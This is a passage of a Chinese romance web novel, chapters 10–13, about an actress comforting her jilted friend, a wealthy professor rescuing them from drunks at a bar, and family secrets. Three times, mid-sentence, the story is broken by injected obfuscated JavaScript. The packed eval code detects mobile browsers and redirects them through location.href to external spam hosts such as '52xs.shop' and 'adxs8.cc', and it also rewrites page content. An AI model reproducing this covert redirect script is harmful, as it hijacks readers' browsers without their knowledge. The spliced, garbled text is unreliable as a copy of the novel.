“我知道了,我现在就过去。” 祝诗意拿起包,“哥,书简失恋了,正在Blue喝酒,我得过去陪她。” “我送你。” 祝攸起身,道。 “不用了哥,让赵叔送我就行。” “好,有事给哥打电话,随叫随到。” “嗯,哥你晚上早点睡,不用特地等我。” “知道了。” 林书简和她的男朋友周盛豪是自小的青梅竹马,两个人谈了八年,感情一向很好,怎么忽然就分手了,并且书简还在电话里大骂周盛豪渣男。 祝诗意心里急得慌,脚步匆匆,没心思顾别的地方,转角时不小心撞上一个坚硬的胸膛。 “不好意思先生,我还有事,抱歉。” 祝诗意头也不抬,风风火火地朝着406包厢跑过去。 而被撞到的谈惟瑾却是饶有意味地望着祝诗意的背影深思。 “谈总您这是看什么呢?” “没事。”谈惟瑾收回目光,“看到一个认识的人。” 10. 遇(10) 酒局已散,谈惟瑾本来是打算就此离开的,眼下他又改变了主意。 他重新包下了406隔壁的405,在好友散去之后,谈惟瑾又点了两瓶酒,一个坐在光线并不敞亮的沙发上。 包厢门没关严实,因此谈惟瑾隐约可以听见406包厢的动静。 祝诗意刚进来,林书简就哭哭啼啼扑了上来。她方才勉强还能忍住,此刻祝诗意来了,林书简再也抑制不住内心滔天的委屈,扒着祝诗意的肩膀哇哇大哭。 “周盛豪这个大傻逼!八年了,我跟他在一起八年了,他怎么敢的啊!” 林书简伤心至极,她前言不搭后续地说了一大堆,期间还夹杂着几声不像是人类能发出的哀嚎。所幸祝诗意还算了解林书简和周盛豪的爱情长跑史,因此哪怕林书简这会儿的语言组织能力很差,祝诗意也能从中还原整个事情。 林书简和周盛豪他们两个人今年刚好都二十四岁,两个人自小就定了娃娃亲。八年前,也就是他们还在读高中的时候,周盛豪喜欢上了林书简班上的另一个女孩子赵秋妍。 可林书简和周盛豪两家的联姻几乎是圈子里公开的秘密,赵秋妍自然不可能横插一脚。更何况赵秋妍喜欢的也不是周盛豪,而是他们班的班长李时维。 赵秋妍和李时维两情相悦,两个人顺理成章地在一起了。周盛豪悲伤之时也答应了林书简的告白,两个人还约定好上同一所大学,读同一个专业。 林书简和周盛豪一起进入景山大学读书,同年赵秋妍和李时维却双双选择了出国,这两个人从此再没和任何人联系,像是消失在了曾经的圈子里。 大家都猜赵秋妍和李时维应当是打算在国外定居了。 周盛豪也是这么想的,所以他再也没联系过赵秋妍,转而一心一意对林书简好。 林书简以为她和周盛豪会一辈子好下去。 不久前,周盛豪还陪着林书简去选了婚纱,他们的婚期定在明年春天。当时林书简在电话里兴奋地说:“诗意!到时候你可一定来给我当伴娘!” “一言为定。” 然而谁能想到就在一个月前,赵秋妍突然回国了。她不仅回国了,还第一时间联系周盛豪,告诉了周盛豪她的行程,并且明里暗里表示自己过得很不好。 周盛豪心疼自己的白月光,在林书简生日这天,也就是今天,周盛豪撇下林书简一个人,他跑去了赵秋妍的家。 只因为赵秋妍一句话:“盛豪,我身体有点不太舒服,你能帮忙送点药过来吗?” 谈了八年的男朋友在女朋友生日这天丢下自己,转头对白月光嘘寒问暖,换了谁都无法接受。 更何况是对周盛豪用情至深的林书简。 “他……他怎么能这么对我,我那么喜欢他……周盛豪他,他凭什么啊……呜呜呜。” 林书简哭得惨烈,“我这八年的青春……都喂了狗了。可,可就算是喂狗,狗都知道在我需要的时候对我摇尾巴,周盛豪这个王八蛋他,他猪狗不如。” 祝诗意长叹一口气。 她抢过林书简手中的酒瓶子,把酒放得远远的,对她说,“不能再喝了,再喝就要断片了。” 林书简对着空气比了一个不太文雅的手势,她骂道,“这八年来他吃我的穿我的用我的,就连现在住的房子都是我买的。你说这个傻逼,他到底为什么放着别墅不住,要跑去给别的女人当舔狗……诗意,我想不明白,我真的想不明白呜呜……” “想不明白就不想了。” 祝诗意干脆抱住林书简,这会儿不管她说什么,语言都显得苍白无力。可除了在言语上安慰林书简,祝诗意似乎也没有更好的办法。 当年周家选择和林家联姻的时候,周家的财力就不如林家雄厚。没两年周老爷子病逝,周家大部分家产都交到了周盛豪的大伯手中,周盛豪的大伯是个满腹经纶的读书人,在经商一事上着实不太灵光。周家日渐式微,近年来周盛豪还能维持他富家公子哥的人设,少不了林书简给他撑腰。 周家本来指着和林家联姻,好借此让周家起死回生。 不曾想都到了结婚这个节骨眼上,周盛豪竟转头奔向了他年少时的白月光。 如此一来,林周两家的联姻指定是要黄了。 林书简在周盛豪身上付出了多少,祝诗意有目共睹。 她感觉自己的好闺蜜快要碎成一片一片的了。 “天底下好男人多的是,咱不缺周盛豪这一个,听话,不哭了,眼睛哭肿就不好看了。” “诗意,你是对的。” 林书简从祝诗意的怀抱中抬起头,眼睛红红,说。 “什么我是对的?” “你不谈恋爱是对的,坚决不要谈恋爱,谁心疼男人谁倒霉。” “……” 祝诗意没好意思说她当年上学没有早恋只是因为祝攸管得严,要是被祝攸发现她给哪个黄毛小子写情书,可是要被好好教育的。 况且有时候在青春期早恋不过是图一时的新鲜,等那股新鲜劲儿过了,再美好的恋爱也都像白开水,除了一股涩味儿,一丁点咸淡都尝不出来。 祝诗意现在就处于抿两口白开水润润嗓子,别的什么都不想的状态。 “那你之后打算怎么办?” 喜欢了整整八年的人,怎么可能说放下就放下,祝诗意还是挺担心林书简会去找周盛豪复合的。毕竟之前哪怕周盛豪做的太过分,他们两个人吵架吵得再激烈,只要周盛豪愿意好好和林书简低个头,林书简就能将好了伤疤忘了疼演绎得淋漓尽致。 “我再也不会原谅那个王八蛋了,我要出国!我要走得远远的!” 林书简指着包厢内的天花板,说。 祝诗意眼皮跳了跳,“你研究生还没毕业,出哪门子的国。” 林书简在景山大学读研二,就算她想出国念第二硕士学位,那也得等这学期的学分修完了,最早也是明年的事情。 “我不知道怎么办。” 林书简眼神呆呆的,她看着祝诗意,瘪瘪嘴,“我就是很难过……我也不知道怎么办呜呜呜。” 祝诗意搂着林书简的肩膀,她给祝攸打了个电话,说她打算带林书简回家住两天。 赵叔和车就在Blue楼下等着。 “不知道做什么那就什么都不做,先跟我回家吧,等过两天你想清楚了再做决定。” 祝诗意扶着林书简站起来,她来之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606427|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林书简一个人喝光了三瓶酒。现在那股浓烈的酒劲儿一口气全涌了上来,熏得林书简眼眶又酸又疼,脑袋也无比沉重。林书简只能把大半个身子的重量都压在祝诗意身上,跟着她摇摇晃晃向外走。 “哟,两位小美女这是要去哪儿?别急着走啊,来陪哥几个再喝几杯。” 祝诗意和林书简才走出包厢没两步,她们被三四个穿花衬衫的醉汉拦住去路。 祝诗意将黑色的口罩边缘向上又拉了拉,准备伸手去按墙上的紧急响铃。 Blue治安一向很不错,且规矩森严分明,否则祝攸也不会放心祝诗意一个人来这儿。 但再严明的规矩,也挡不住有些人偏要作死。 为首的光头招招手,立刻有人上前两步作为肉墙挡住响铃。 “叫什么人?都说了叫你们陪老子喝两杯酒,小妹妹,别想给老子找麻烦。” 那光头眯起双眼,色兮兮地打量着祝诗意和林书简。 “啧啧啧,哭得这么可怜,失恋了?这样的话,不如让哥哥好好陪陪你们……” 光头说着就要扑上来。 祝诗意下意识带着林书简往反方向闪去。 “你们两个妞儿别敬酒不吃吃罚酒……啊啊啊啊!” 就当光头再一次向祝诗意伸出咸猪手,只听空气里炸开一声明显的脆响,似是骨头被折断的声音。 祝诗意抬头看过去。 只见面前被一片高大的阴影笼罩,男人穿着剪裁得当的挺括西装,身高至少一米八五以上,不,或许和一米九的祝攸差不多高。 男人沉着声说:“给你三秒钟时间,离开我的视线。” “嘿,哪个不长眼的东西竟然敢坏本大爷的好事,看老子不弄死你。” 光头恼羞成怒,他才扬起手,便被谈惟瑾一脚踹在腹部,再度跌倒在地。 他身后的小弟们举着酒瓶子蜂拥而上,看得祝诗意心一下子提到了嗓子眼。 “小心!” 祝诗意不禁紧张地提醒道。 然而只眨眼的功夫,祝诗意甚至没能看清他究竟是怎么出手的,围上来的那些人纷纷被轻松撂倒,一个个都躺在地上“哎哟哎哟”地叫唤着。 就连喝得醉醺醺的林书简都瞪大了眼睛。 得知有人在Blue闹事,酒吧老板立即带着几个人上楼。看到站在灯光下的谈惟瑾,老板怔了下,态度恭敬极了:“实在抱歉,扰了您的雅兴,我会让人好好教训这群人的。” “你该道歉的人不是我。” 谈惟瑾活动了下手腕,口吻漠然。 “是,我明白。” 老板和谈惟瑾同一时间转过身来,祝诗意正准备开口道谢,只觉肩膀一沉,林书简倒在她身上,醉得彻底不省人事。 祝诗意抱歉地笑笑,抬眸道:“实在不好意思我朋友今晚喝得有点……” 她的目光在触及谈惟瑾那张脸的一瞬间,由歉然转为惊喜:“是你!” 居然是几个月前在包厢出手相帮的那位先生。 他竟第二次救了她。 谈惟瑾扫了眼祝诗意和林书简,说,“嗯,又见面了。” 祝小姐,别来无恙。 11. 陷(1) 祝诗意想和谈惟瑾多寒暄一会儿,奈何林书简靠在她肩头,大半个身子的重量都压在了她这边。再加上林书简也确实是喝醉了,祝诗意急着带她回溪语庭,实在不好在外面久留。 于是祝诗意抱歉地朝谈惟瑾笑了笑,她说道:“先生,我朋友喝得有点多,我不放心她,得先带她回家了。不如先生留个联系方式,我有空一定请您吃饭。” 祝诗意没抱多大希望,毕竟这个看上去就很贵气的男人上一次毫不留情地拒绝了她。 不知道这一回会不会也是同样的结果。 谈惟瑾高出祝诗意许多,他与生俱来的压迫感使得祝诗意在说完这句话以后不自觉低下了头,她没再敢与谈惟瑾直视。 而谈惟瑾的视线也从祝诗意水润嫣红的唇上转移到她栗色的卷发发梢,谈惟瑾这才意识到祝诗意似乎比他见过的所有女人都生得肤白许多。她发梢的颜色像是煮了很久的咖啡豆,浮在最上面的那层液体光滑润泽,散发着令人忍不住靠近的豆子香气。 而这不深不浅的秀发衬得本就白皙的祝诗意皮肤更加吹弹可破,脖颈上细细的绒毛令人情不自禁想要触碰。 他果真一只手就能握住那里。 红酒也确实衬她。 谈惟瑾想。 见谈惟瑾迟迟不开口,祝诗意心口难免滑过一丝失落。不过她抬眸时便已调整好了状态,主动说道:“既然先生不方便那就……” 深沉而醇厚的嗓音打断了祝诗意的话头,谈惟瑾目光微动,启唇:“好。” 祝诗意还以为谈惟瑾会让自己扫他的微信名片,谁知谈惟瑾给她的是一串数字,那是谈惟瑾的私人手机号。 祝诗意没敢磨蹭,她把谈惟瑾的手机号存到通讯录里,问:“先生,这个手机号可以搜到您的微信吗?” “可以。” 谈惟瑾颔首。 Blue老板垂着手在谈惟瑾身侧站着,他低着脑袋,大气都没敢出一个。他原以为谈总只是心情好才顺手救了两个小姑娘,不曾想谈总和这位长相明艳漂亮的姑娘竟是有过交集的旧识,谈总还将私人手机和微信号都给了出去。 老板管理Blue这些年,他只见过被谈惟瑾赶离的莺莺燕燕,从未见过谈惟瑾对除了朋友以外的任何一个人如此上心。 Blue老板没忍住悄悄抬眼多看了两眼祝诗意,他方才只顾着遵从谈惟瑾的命令,没怎么关注祝诗意和林书简的状况。此刻仔细瞧一瞧,正在和谈总说话的这个姑娘,她虽然戴着口罩,可她精致的眉目担得起绝色二字。 也难怪谈总会对其另眼相看。 “那我和朋友就先走了,今天真的非常感谢您。” “嗯。” 谈惟瑾单手插在西装口袋,收回驻足在祝诗意身上的目光,他微微点头。 待到祝诗意的背影消失在四楼拐角,谈惟瑾这才重新看向Blue老板。Blue老板不自觉将腰弯得更深了些,背上宛若千斤压顶,云城的冬日凌厉而干燥,本是冻得缩手缩脚的季节,Blue老板却无端冒出许多汗来。 “你知道怎么处理那些人。” 谈惟瑾的声音不夹杂一丝一毫的感情,像十二月落下的绒毛大雪,刺骨的寒密密麻麻渗入毛孔。 “是,谈总,我保证以后再也不会发生这样的事。” Blue老板连连说道。 谈惟瑾没再说什么,他抬手扶正左手腕上有些歪了的腕表,那是方才出手打人才不小心错了位。谈惟瑾通过祝诗意的好友申请,单手打字回复:「免贵,姓谈。」 随后将手机丢回西装口袋,他要看的戏已散场,是时候回沉海院了。 这时的夜色如同谈惟瑾手边那一小方块砚台内晕染开的烟墨,在风的推动下无声地铺开,吞噬了红墙绿瓦下一户又一户人家。 窗户被打开一条小缝透气,往常谈惟瑾练字时最喜水声风声作陪,然而今晚他的心却无论如何都静不下来。 谈惟瑾将衬衫袖子向上挽了几折,露出肌肉结实线条流畅的小臂,只需稍稍用力,藏在皮肤下隐青色的血管便会立刻显现。 他揉了揉眉骨,眸中深不见底。过了一会儿,他似是妥协了,松了口气,紧绷的肩膀也舒展开来。谈惟瑾抬腿走到宽大的书桌旁,从第一层抽屉里取出两个白色的小药瓶,往掌心倒了几粒药,就着温水吃下去。 若是教齐景宴瞧见这一幕,必定少不了一番唠叨。 - 祝诗意在林妈的帮忙下安顿好不省人事的林书简,她自己也回房间洗了个澡,散去浑身的酒味,换了套大方得体的家居服来到客厅。 因为当年家里险些破产的危机,身体本就不太康健的祝明又由于过度操劳而落下了病根,医生千叮咛万嘱咐要祝明多多休息,所以祝诗意去Blue没多久,祝明就歇下了。 客厅里这时候只有祝攸和祝诗意兄妹二人。 祝攸给祝诗意倒了杯热牛奶放在茶几上,他坐在祝诗意身旁,看着她乖乖喝了两口牛奶,祝倾才开口:“诗意,哥和你坦白一件事。” “怎么了,哥?” 祝诗意偏过头,不明所以地看着祝攸。 哥哥怎的忽然这么郑重其事地和她说话? “我之前让助理打听了一下你在公司的处境,助理告诉我你在娱乐圈过得并不好。” 祝攸略带担忧地开口。 祝诗意的心猛地跳了一下,她陡然生出一种不太好的预感。 只听祝攸继续往下说:“你当初是以云城第一的成绩考入景山电影学院表演系,我不信凭借你的能力的美貌只能获得这么一点资源,甚至还要被经纪人威胁去参加酒局。之前我提出想看你的签约合同,你不肯。再联合助理汇报的消息,我总不太放心,所以就在刚刚,我在没有得到你允许的情况下私自进入你的卧室,在密码箱里找到了那份合同。” “合同上显示你签约昔音娱乐的时间并非你说过的去年,而是三年前,你刚进入大学,家里出事那会儿。” 祝攸凝视着祝诗意的眼睛,脸上的表情严肃得不容挑衅,但又隐隐含着些许怜惜。他问道:“和我说实话,当初那60万到底怎么来的?” “哥……你这不是都知道了。” 祝诗意撇开脑袋,她视线闪躲,心虚极了。转念想到三年前躺在高危病房里昏迷不醒的兄长,祝诗意的心虚又变成了心酸,“我那……不也是没办法了。爸说要变卖家产,可是银行办手续要很长时间。医生说你等不及,说要是再不做手术你可能会……” 祝诗意不忍心说出那两个字,她顿了下,接着说,“而且昔音娱乐本来就联系过我,我最开始没答应,但他们说能一口气给我六十万,就当提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606428|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预支我的工资。除了手术,你和爸后续一切治疗康复也都要钱,我找不到别的能更快凑钱的办法,就签了。” 家里的大部分现金流在出事之前便被人悄悄转走,以至于风险来临之际,他们竟没有半分抵抗的能力。 而当初对家里嘘寒问暖的“人脉”,也随着资产的消失而销声匿迹。唯一能帮得上忙的林书简被周盛豪哄着去北欧度假,等林书简看到消息时,祝攸的手术已经做完了。 三年前的这个家像大雪降临之前的独木,连一只肯栖息的鸟儿都寻不到,遑论愿意与之并肩的老友。 而祝诗意从昔音娱乐那儿换来的六十万,既是祝攸的救命钱,也是祝攸白手再起的决心。 “哎呀哥,你真不用这么看着我。演戏本来就是我从小的梦想,我只是比预想的提早两年进入娱乐圈而已,没什么的。” 祝诗意往祝攸跟前挪了挪,小心地扯扯祝攸的袖子。 祝攸的眼神很是复杂,眸中翻滚着许多难以言说的情绪。静了半晌,祝攸吸了一口气,弯了弯唇,把手放在祝诗意脑袋上揉了揉,说:“小意,我很幸运。” 很幸运能拥有这么善良勇敢的妹妹。 即便…… 祝诗意觉着兄长的眼神不太对劲,可她一时又说不上来哪里不对,怎么想都想不出来。她干脆不提这件事,而是把林书简和周盛豪的事情和祝攸讲了。 “哥,书简那么喜欢周盛豪,就算现在分手了,我估计她一时半会儿也走不出来。可能要多给她一点时间才能看开,所以我想让书简在咱们家住两天,这样我好照顾她,你看行吗?对了,我下一部戏明年二月才开始拍,进组之前我就住家里,多陪陪你和爸。” “嗯,好。” 祝攸又恢复成往日温柔稳重的模样,“你和书简就安心在家住着,别的什么都不用担心。” 他抿了口水,接着说,“不过小意,还有件事我想和你商量。” “哥你尽管说。” “和昔音娱乐解约吧,违约金我付。” 祝诗意一怔,思虑到既然她“唯一的秘密”已经被兄长知晓,那她确实没什么可顾虑的了。 “可以是可以,但是哥,我希望解约以后我们还能延续从前的情况,我还不想那么快推翻自己的人设。” 再有两年,等钟意科技彻底在云城屹立不倒,那时祝诗意一定要高调官宣她的哥哥。 而现在仍需蛰伏。 “傻瓜,哥和公司没你想得那么脆弱。” 多亏了那一纸合同,祝攸如今终于彻底琢磨清妹妹的想法,她懂事的让他心疼。 “好吧,那就等《长生殿》杀青,一块官宣了吧!” “好,很晚了,去休息吧。” “哥,你也是。” 祝诗意上楼回房,把自己扔到床上,呈大字型摊开。她举着手机,刷到早先“碰瓷”她的那个男人发了条朋友圈。 「Chill:雪后初霁。」 配图是一张故宫的雪,红与白绵延交错,铺开数千年的青瓦。 这条朋友圈并不稀奇,每当云城下雪,朋友圈的雪景图便会如雨后春笋般纷纷冒头,他只不过是其中一个。 稀奇的是,谈惟瑾点赞了祝方砚这条朋友圈。 祝诗意眉毛微蹙,谈先生与那位“碰瓷男”竟认识么? 12. 陷(2) “谈”这个姓氏在云城算不得稀奇,祝诗意所在的上一个剧组中便有一位姓谈的摄像师,是个看上去柔柔弱弱实际上能扛大炮的女孩子。 她前些日子又和谈夏签了合作,因此当谈惟瑾的消息发过来时,祝诗意并没有把谈惟瑾和云城世家之首——谈家联系到一处。 也不可能见到相同的姓氏就往沉海院的方向联想。 只是祝诗意没想到这两个人竟然是认识的。 祝诗意蓦地想起来她还没问过那个白西装碰瓷男叫什么名字,后来也没有再催着他要账单。既然这个白西装碰瓷男和长身玉立的谈先生是熟识,那祝诗意觉得自己可以考虑让这个人在联系人列表里多存活一段时间。 祝方砚还不知道他已经被绞尽脑汁想见面的小姑娘划入了碰瓷的行列。 祝方砚倒是想径直发消息约小姑娘出来见面,然而鉴于上一回他不过是多问了一句“怎么称呼”,就险些被无情删除,祝方砚着实不想冒险。 他害怕自己发一条“有空出来见面吗”,只会收获小姑娘一个刺眼的红色感叹号。 冥冥之中,仿佛是某种既定命运的牵引,身在溪语庭和洗云庭的祝诗意和祝方砚同时对着彼此的头像出神。 - 十二月的云城连着下了三天的雪,天地皑皑一片纯白。 齐景宴拎着随身药箱敲开谈惟瑾书房的门,进了门,他将药箱平搁在紫檀木制成的书桌表面。谈惟瑾的书桌边沿雕刻了一簇一簇超尘脱俗的白玉兰,齐景宴打开药箱,瞥见白玉兰花瓣上凭空多出的几笔小刀刻痕,他蓦地蹙起眉,问:“你的病什么时候这么严重了?” 谈惟瑾回过头,目光停在齐景宴盯着的地方,一看便知道好友想多了。他走过来,指腹抚过那几道明显的印记,解释:“前些日子谈云亭带孩子过来,小孩进我的书房弄乱了一些东西,这是他用工笔刀划的,这几天忙,忘了叫周伯修复。” “哦,”齐景宴应了声,把为谈惟瑾准备的药瓶都取出来,“还以为你控制不住自己发疯拿刀划的呢。诺,你要的药。” “……嗯。” 谈惟瑾看也不看,他径直将这几瓶药都丢进了抽屉。 齐景宴挑起眉毛,说道:“我还没问你呢,你这两年情况不是都好多了吗?怎么突然又反复了,还把药都吃完了?” 谈惟瑾是有很长一段时间没吃药了。 随着年岁渐长,将将而立的谈惟瑾不再是当初那个意气风发的青年,他的眉目里藏着这些年来经历的所有风花雪月,日往月来。很多从前怎么也想不明白的事情,也跟着逝去的时间一同消逝了。 当一个人不再执着于某种执念,心境就会变得开阔许多。 心病亦会悄然痊愈。 前提是谈惟瑾能一直保持平静,但很明显他做不到。 作为在谈家拥有绝对话语权,对谈氏集团拥有绝对控股权的掌权人,谈惟瑾其实极少在集团露面,更别提参与各种公开活动。从明面上来讲,谈惟瑾对外的身份是景山大学考古系教授,于他而言,与跨越千年的死物打交道,总是比面对聒噪的活人要自在。 谈惟瑾企图通过那些不会说话的古物和小时候被遗忘的自己对话。 本来是有用的。 直至四个多月前,他在景山大酒店遇见了祝诗意。 那姑娘的一颦一笑,一举一动深切地印在他脑海中,又勾起了谈惟瑾被压抑许久的情绪。 他一旦动了情,就免不了记起幼时的心里阴影,而当那些影像重现,谈惟瑾就不得不靠吃药来对抗。 “这些年不都是这么过来的,没有一劳永逸的办法。” 谈惟瑾没有向齐景宴提起祝诗意的事情,没有必要。 齐景宴是谈惟瑾的心理医生,也是除了谈家几位有血缘关系的近亲之外最了解当年那件事始末真相的人,这些年来都是齐景宴在负责治疗谈惟瑾的心病。 都说心病要靠心药医,解铃还须系铃人,只是可以解开这个结的人,许多年前就已不在世。 谈惟瑾只能这么生生熬着。 要么过了这道坎,要么终生饱受煎熬。 所幸谈惟瑾很早就看开了,如今他吃药主要是为了缓解一些情绪波动带来的躯体化症状。 倒是齐景宴操心更多。 齐景宴拍了拍谈惟瑾的肩膀,摆出一副语重心长的模样,问:“惟谨你说,你这种情况要是谈个恋爱会不会好一点?找到一朵属于你的解语花,和她幸福快乐地相伴一生,不就没有烦恼了?说不定对你很有帮助。” 齐景宴是云城富家子弟里出了名的浪荡公子哥,号称“万花丛中过,片叶不沾身”。感情一事上齐景宴向来没个正形,他能说出这种话谈惟瑾半分也不意外。 他淡淡地看了眼齐景宴,齐景宴只笑,“知道你没那想法,我就开个玩笑。不过话又说回来,你才生下来那会儿,老爷子怎么就没想着给你定个娃娃亲什么的,从出生开始解决你的终身大事,多好。” 联姻么? 老爷子从未和他提过此事。 谈惟瑾少年老成,自小就冷着一张很严肃的脸,就连和他最亲近的妹妹谈夏骨子里都免不了敬畏,那些旁系所出的同龄孩子就更不敢和谈惟瑾玩。 彼时谈父掌家,老爷子又最疼谈惟瑾,因此哪怕那时候谈惟瑾年龄还小,仍旧没有人敢在餐桌上拿谈惟瑾的事情说笑。 小时候都没人有胆子调侃他,谈惟瑾成年以后,就更没有人为他搭线。唯有几个还想着攀高枝的亲戚会拖家带口造访沉海院,旁敲侧击地说起自家的孩子也到了适龄的年纪。可他们来时笑得有多奉承,离开时就有多面无人色。 也正是因为这样,谈家的大权早都落到谈惟瑾手中了,他的姻缘却始终没有着落。 “不需要。” 他说。 他这样的人,不适合经营一段长久而稳定的恋爱关系,谈惟瑾一直都很清楚这点。 “行吧,你说什么就是什么。” 谈惟瑾无意,齐景宴也不再劝,只眉宇间又添了些许对好友的忧愁。 - 今日一大早,溪语庭外来了一位不速之客。 冬雪融化以后的云城如同万里冰封,冷风直直钻进骨子里,冻得人连连打颤。 周盛豪穿了件灰色的冲锋衣站在门口,时不时抬起胳膊掸掉衣服上粘着的枯草,他的衣帽湿了一大片,水迹很是明显,周盛豪恐怕这会儿不太好受。 周盛豪给林书简打了很多电话,林书简一次都没接。 打电话不接,发信息不回,林书简自己的住处人去房空,周盛豪没办法,只好到溪语庭来堵人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14606429|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可他在门口站了一早上了,也不见林书简出门接他。 周盛豪从冲锋衣口袋里掏出冻的和冰块一样的手机,手抖着打字:「宝贝,我那天真的不是故意要丢下你的。你也知道那几天公司事情多我很忙,我一忙起来就昏了头,忘了你要过生日。而且妍妍说她病的很严重,希望我能送她去医院。我当时看公司离她家近,没想那么多,就直接过去了。」 「宝贝,你原谅我好不好?我发誓我以后再也不会丢下你一个人了。」 「宝贝,我知道你在里面,你出来看我一眼,行吗?」 反反复复都是同一套说辞。 周盛豪在门口冷得瑟瑟发抖,林书简和祝诗意在暖气腾腾的别墅内挖冰淇淋吃。 别看林书简这会儿瞧上去没心没肺的模样,实际上方才已经哭过一轮了,眼睛还红着呢。 听说周盛豪来了,林书简早上起来从二楼阳台远远地望了两眼周盛豪,被祝诗意苦口婆心劝回了房。 “吃!我还要!” 林书简吃完一罐双莓口味的冰淇淋,吸了下鼻子,问,“诗意,你哥应该允许你点外卖的吧?我中午想吃火锅炸鸡烤串驴肉火烧麻辣烫!外面这么冷,就得多吃点热乎的东西暖身子。” 祝诗意浅浅笑道,“当然,我又不是小孩子了,我哥不会连这点小事都管。” “行!那我们就点外卖!我要点一桌子好吃的,还要让周盛豪那个王八蛋冻死在外面。” 林书简恨恨地回答。 许是为了让林书简心疼自己,周盛豪早早就过来在门口站着。祝攸去公司前还多看了两眼周盛豪,周盛豪乞求祝攸开门,哪儿知道祝攸视线越过他,沉声吩咐周伯叫人守好门,千万不能叫周盛豪有机可乘。 周盛豪没办法,只能一遍又一遍给林书简发消息。 来送外卖的跑腿小哥都能得到笑脸相迎,唯他吃了一肚子闭门羹。 “我昨天晚上才刷到赵秋妍的朋友圈,她在我生日那天晚上十一点发的。” 林书简使劲儿咬了一口脆皮炸鸡腿,瘪瘪嘴,说,“诗意,你说她是不是故意发给我看的?” “不然呢?” 祝诗意无奈地说,“赵秋妍又不是不知道周盛豪有多喜欢她,她比谁都清楚自己是周盛豪的白月光,否则怎么会一回国就给周盛豪发消息。” “但是我不怪她,”林书简眼睛里噙着泪花,“是周盛豪那个傻逼管不住自己,人家招招手他就跟条狗一样巴巴地跑过去了。狗能跑,要么是狗主人没栓绳,要么是狗第一回装乖就想好了有这么一天,怎么看都是狗的问题!” “所以,这条狗咱还要吗?” 祝诗意试探着问。 能叛变的狗,从一开始就不存在十足的忠心。 “不要了!”林书简哼了一口气,“是他周家上赶着求我家和他们联姻,又不是我非周盛豪不可。我倒要看看离了我,他周盛豪富家公子哥的人设还能维持多久!” “想明白就好。” 就怕要不了多久,她又会重蹈覆辙。 爱情果真是个要人命的东西,祝诗意想到《长生殿》里面为情所困的昭昭,不由得感同身受。 “我二月会去你们学校拍几场戏,要不要探班?” “好啊!我介绍我们学校最帅的帅哥给你。” 13.陷(3) 周盛豪没在溪语庭蹲到林书简出来,他实在冻得不行了,只好无功而返。即便如此,周盛豪也没忘记发消息给林书简求她原谅。 从前周盛豪时常因为“工作忙”或是“和同事在一起不方便看手机”等等蹩脚的借口不回林书简消息和电话,现在倒是比谁都殷勤了,早安晚安各种问候一个不差。 「宝宝,云城最近天天下雪,你注意保暖,别像我一样冻坏了。」 「宝宝,我今天早上买了你原来说过的那家早餐店,他们家的豆浆油条真不错,我宝宝就是有眼光。」 「你相信我,我这段时间真的没有联系赵秋妍,宝宝,我心里只有你,我也只有你了。」 …… 林书简收到这些消息,心情复杂极了。 她当初和周盛豪在一起那会儿,周盛豪对天发誓称自己往后一定一心一意对她,心里绝对装不下第二个多余的人。那时候林书简当真以为周盛豪忘记了白月光赵秋妍,未曾想到头来多余的那个人竟指的是自己。 “诗意,你说我好笑不好笑,口口声声说要和周盛豪断绝一切往来,结果我一想到他,一想到他发的这些微信,我心里还是觉得好痛。” “诗意,我真的不知道该怎么办了。” 林书简住在溪语庭的这些日子,她说过最多的话就是“不知道该怎么办”。 她不知道,祝诗意也有心无力。 祝诗意跟着叹了口气,说,“既然我们都不知道怎么办,那就交给时间吧!相信我,时间会抚平一切的。” “我听你的,诗意,你是我最好的朋友。”说着,林书简脸上浮现出些许愧疚,她握住祝诗意的手,“对不起啊诗意,当初你需要我的时候,我竟然跟这个渣男跑去北欧度假了。没能在你最困难的情况下帮到你,是我不好。” “干嘛说这个,早都过去了。哦对,忘记和你说了,我哥已经知道了这件事,等明年《长生殿》杀青,我会正式向昔音娱乐提出解约,摆脱这个破公司。” “那太好了!你要是有什么困难记得及时联系我,我就算掏光我所有积蓄也会帮你的。” 祝诗意弯弯眉毛,窗外飘着鹅毛大雪,云城的冬还会持续很长一段时间,不过祝诗意已经在期待春季了,满怀希望的春。 - “哥,《长生殿》过两天就开机了,你真的不会来我们剧组探班吗?” 谈夏不死心地又问了一次。 谈惟瑾大拇指上多了枚玉扳指,那是他近日新得来的玩物。他借着齐景宴的手在一场私人拍卖会上拿下了这枚价值近九位数的玉扳指,齐景砚把东西交给谈惟瑾时,还戏称道:“这回你可是把二环内一套房戴在手上了。” 温润的玉石会让谈惟瑾的心境一齐跟着平和起来。 此刻,谈惟瑾转了转这枚扳指,旁若无人地回答:“你再问一百遍,答案也一样。” 